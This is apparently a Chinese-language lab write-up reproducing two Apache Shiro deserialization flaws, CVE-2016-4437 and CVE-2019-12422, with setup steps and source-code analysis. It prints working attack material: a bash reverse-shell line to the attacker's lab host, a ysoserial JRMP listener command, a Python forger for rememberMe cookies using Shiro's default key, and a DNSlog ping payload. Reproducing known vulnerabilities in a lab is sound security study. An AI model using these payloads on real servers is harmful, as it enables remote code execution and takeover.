漏洞复现-shiro

Shiro

Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。

CVE-2016-4437

参考文章:

1、http://changxia3.com/2020/09/03/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%94%E8%AE%B0%E4%B8%80%EF%BC%88%E5%8E%9F%E7%90%86%E7%AF%87%EF%BC%89/#0x2-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

2、https://blog.csdn.net/qq_44769520/article/details/123476443

Shiro-550反序列化漏洞

0x01 环境搭建

环境搭建可选择在本地搭建,也可以用docker搭建,这里我是在ubuntu虚拟机里搭建的。

首先准备环境需要的一些东西:

tomcat 8.5.76:https://tomcat.apache.org/

jdk-11.0.9:https://www.oracle.com/cn/java/technologies/javase/jdk11-archive-downloads.html

maven-3.6.3:https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

shiro源码:https://github.com/apache/shiro

shiro war包下载:https://github.com/jas502n/SHIRO-550

ysoserial:https://github.com/frohoff/ysoserial

shiroattack2:https://github.com/SummerSec/ShiroAttack2

关于war包建议在本地自行编译,配置好java,下载好shiro源码。下面是在虚拟机里搭建shiro。

本次使用jdk1.6 + maven-3.2.5,如果maven版本高于3.2.5,jdk1.6是不支持的。

下载好shiro源码后,进入shiro文件下,切换分支:

1
git checkout shiro-root-1.2.4

进入shiro/samples/web下有一个pom.xml文件,修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 此处需设置版本为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>

<!-- 添加存在漏洞的commons-collections包 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

使用maven进行war包编译

1
2
// 下载mvn的命令
apt-get install maven

cd samples/web

mvn install

shiro-1

编译成功后就会在当前目录生成一个target目录,里面就有war文件

shiro-1

将生成的war包放在tomcat的webapps目录下

shiro-1

如果出现报错:[ERROR] Cannot find matching toolchain definitions for the following toolchain types:jdk [ vendor='sun' version='1.6' ]

需要将maven的conf目录下的toolchains.xml文件移至~/.m2/下(windows则需要移至C:\USER\下)

1
2
3
4
5
6
7
8
9
10
11
12
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<!--这里是你安装jdk的文件目录-->
<jdkHome>/opt/java/jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>

然后进入tomcat的bin目录下启动tomcat

1
./startup.sh

访问172.16.12.131:8080/samples-web-1.2.4/

shiro-1


0x02 漏洞复现

1、反弹shell

kali-ip:172.16.12.129

ubu-ip:172.16.12.131

访问网站后抓包,然后在kali机上开启三个终端

(1)nc监听端口

1
nc -lvvp 8989

shiro-1

(2)ysoserial的JRMP监听模块,监听6789端口并执行反弹shell命令,利用java runtime先生成bash编码:

java.lang.Runtime.exec网站:https://loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec

1
bash -i >& /dev/tcp/172.16.12.129/8989 0>&1

再利用ysoserial监听:

1
java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTI5Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'

shiro-1

(3)生成伪造cookie

伪造cookie代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))

执行命令

1
python shiro.py 172.16.12.129:6789

shiro-1

将抓到的包在cookie字段添加刚刚生成的rememberMe

shiro-1

然后发包,查看监听终端

shiro-1

反弹shell

2、工具利用

工具地址shiroattack2:https://github.com/SummerSec/ShiroAttack2

下载后打开输入url:172.16.12.131:8080

默认密钥是:kPH+bIxk5D2deZiIxcaaaA==(下文的漏洞原理会讲到为什么是这个密钥)

然后点击爆破利用链。

shiro-1

爆破完后就可以在命令执行执行命令了

shiro-1


0x03 漏洞原理

根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

获取Cookie中rememberMe的值
对rememberMe进行Base64解码
使用AES进行解密
对解密的值进行反序列化

由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager对恶意的rememberMe进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。

1、加密过程

org/apache/shiro/mgt/DefaultSecurityManager.java代码的rememberMeSuccessfulLogin方法下断点。
img

跟进onSuccessfulLogin方法,具体实现代码在AbstractRememberMeManager.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) {
//always clear any previous identity:
forgetIdentity(subject);

//now save the new identity:
if (isRememberMe(token)) {
rememberIdentity(subject, token, info);
} else {
if (log.isDebugEnabled()) {
log.debug("AuthenticationToken did not indicate RememberMe is requested. " +
"RememberMe functionality will not be executed for corresponding account.");
}
}
}

调用forgetIdentity方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html)。继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
img

removeForm主要在response头部添加Set-Cookie: rememberMe=deleteMe
img

然后再回到onSuccessfulLogin方法中,如果设置rememberMe则进入rememberIdentity
img

rememberIdentity方法代码中,调用convertPrincipalsToBytes对用户名进行处理。

1
2
3
4
protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) {
byte[] bytes = convertPrincipalsToBytes(accountPrincipals);
rememberSerializedIdentity(subject, bytes);
}

进入convertPrincipalsToBytes,调用serialize对用户名进行处理。

1
2
3
4
5
6
7
protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) {
byte[] bytes = serialize(principals);
if (getCipherService() != null) {
bytes = encrypt(bytes);
}
return bytes;
}

跟进serialize方法来到org/apache/shiro/io/DefaultSerializer.java,很明显这里对用户名进行了序列化。
img

再回到convertPrincipalsToBytes,接着对序列化的数据进行加密,跟进encrypt方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding
img

getEncryptionCipherKey获取加密的密钥,在AbstractRememberMeManager.java定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==
img

加密完成后,继续回到rememberIdentity,跟进rememberSerializedIdentity方法。
img

对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
img

2、解密过程

对cookie中rememberMe的解密代码也是在AbstractRememberMeManager.java中实现。直接在getRememberedPrincipals下断点。
img

getRememberedSerializedIdentity返回cookie中rememberMe的base64解码后的bytes。
img

继续调用convertBytesToPrincipals方法对解码后的bytes处理,跟进convertBytesToPrincipals方法,调用decrypt方法对bytes进行解密。

1
2
3
4
5
6
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}

解密后得到的结果为序列化字符串的bytes。
img

然后进入到deserialize方法进行反序列化,即用户可控的rememberMe值经过解密后进行反序列化从而引发反序列化漏洞。这里需要注意的是Shiro并不是使用原生的反序列化,而是重写了ObjectInputStream
img



CVE-2019-12422

参考文章:https://www.cnblogs.com/backlion/p/14077791.html

shiro-721反序列化漏洞

0x01 环境搭建

tomcat 8.5.76:https://tomcat.apache.org/

jdk-1.8:https://www.oracle.com/java/technologies/downloads/#java8

maven-3.6.3:https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz

ysoserial:https://github.com/frohoff/ysoserial

shiroattack2:https://github.com/SummerSec/ShiroAttack2

shiro_rce:https://github.com/wuppp/shiro_rce_exp

shiroexploit:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z

shiro源码:https://github.com/apache/shiro

搭建的环境:jdk1.8 + maven-3.6.3

进入shiro源码,切换分支。然后直接编译:

1
2
3
cd shiro
git checkout shiro-root-1.4.1
mvn install

同样是cd到samples/web文件下,不用修改pom.xml文件,直接执行命令

1
mvn install

img

就会在当前目录生成一个target文件

img

cd进入后有一个samples-web-1.4.1.war文件,然后将samples-web-1.4.1.war文件移到tomcatwebapps目录下即可

1
mv samples-web-1.4.1.war /opt/tomcat/webapps

img

最后进入tomcat的bin目录下,启动tomcat

1
2
cd /opt/tomcat/bin
./startup.sh

img

访问http://172.16.12.131:8080/samples-web-1.4.1/

img


0x02 漏洞复现

1、漏洞测试

因为这个漏洞需要爆破密钥,所以很多命令需要等,但是时间过于长,就没有去实现。这里就简单的测试一下是否存在漏洞。

登录页面登录后,进入account下抓包

img

记录下cookierememberMe

img

进入dnslog网站随机生成一个地址,然后利用ysoserial利用链测试

1
java  -jar ysoserial-all.jar CommonsBeanutils1 "ping ff29f8b476.ipv6.1433.eu.org." > payload.class

再利用shiro_rce.py文件对生成payload.class文件进行爆破

1
python shiro_exp.py   http://172.16.12.131:8080/samples-web-1.4.1/account/ sGrn76lUblrAGOWG9GaajuI8/b6YYE2YpTytdX1iiN8t4GY31PmHJ58RIEkd57NZsNiM2hjeeV12IZyrfMGy/gOHhb2wbe80izs53I4Z9o6cMmRDAXFQ4RwHk9z6eDvh4Vy8HUlbCjuyUDedfDrQNhivbnwEEyzvV6ykoL4Kr/W9XzrhU1HDv3+zZFPYYYzIYYyl//8zUwYYEM6tdFUtljVhYSGsczDBQqfsscqpJvaziu9HbsdzKLdXwTTJlCrl9xMKymXRKg2JKY3R87C1fZ/MbT5CrnQfREJCZd7nJdrlk6q531Z4HlYTUFcUGFqf696L0lGoWHrNG7OueAE/V9qrlRT/z2m4/ywM/fly5N52zdg1HTufqMX5jaT2sQuFh/89E5ch0tKvV1sH0Id9sr+sfeXEuNGE5QpWjHyKQgMlW7iEFm5YbwDEE4AnyAghjoivC005bkgcd9mZSXc5zBpe9xrBz2wsm1cBF9F6Vyd8qEjYf2x4E8rrl3O582h3 payload.class

漫长的等待。。。(等个一小时)

img

img

然后把爆破出来的rememberMe值重新发包

img

最后就是dnslog得到响应

img


2、工具利用

检测工具下载 :

1
git clone  https://github.com/wuppp/shiro_rce_exp.git

先在登录页面登录然后bp抓包,repeater模块send后拿到响应的cookie值

img

img

打开工具,设置参数

img

img

img

运行爆破,出现+证明存在漏洞

img

利用工具就还是shiroattack2,同样的设置参数,然后到执行窗口执行即可

img


0x03 漏洞原理

漏洞的原理可以先了解一下什么是Padding Oracle Attack。

参考文章:https://blog.csdn.net/weixin_44604541/article/details/117810335

搞懂的Padding Oracle Attack后,接下来就是对代码进行一个分析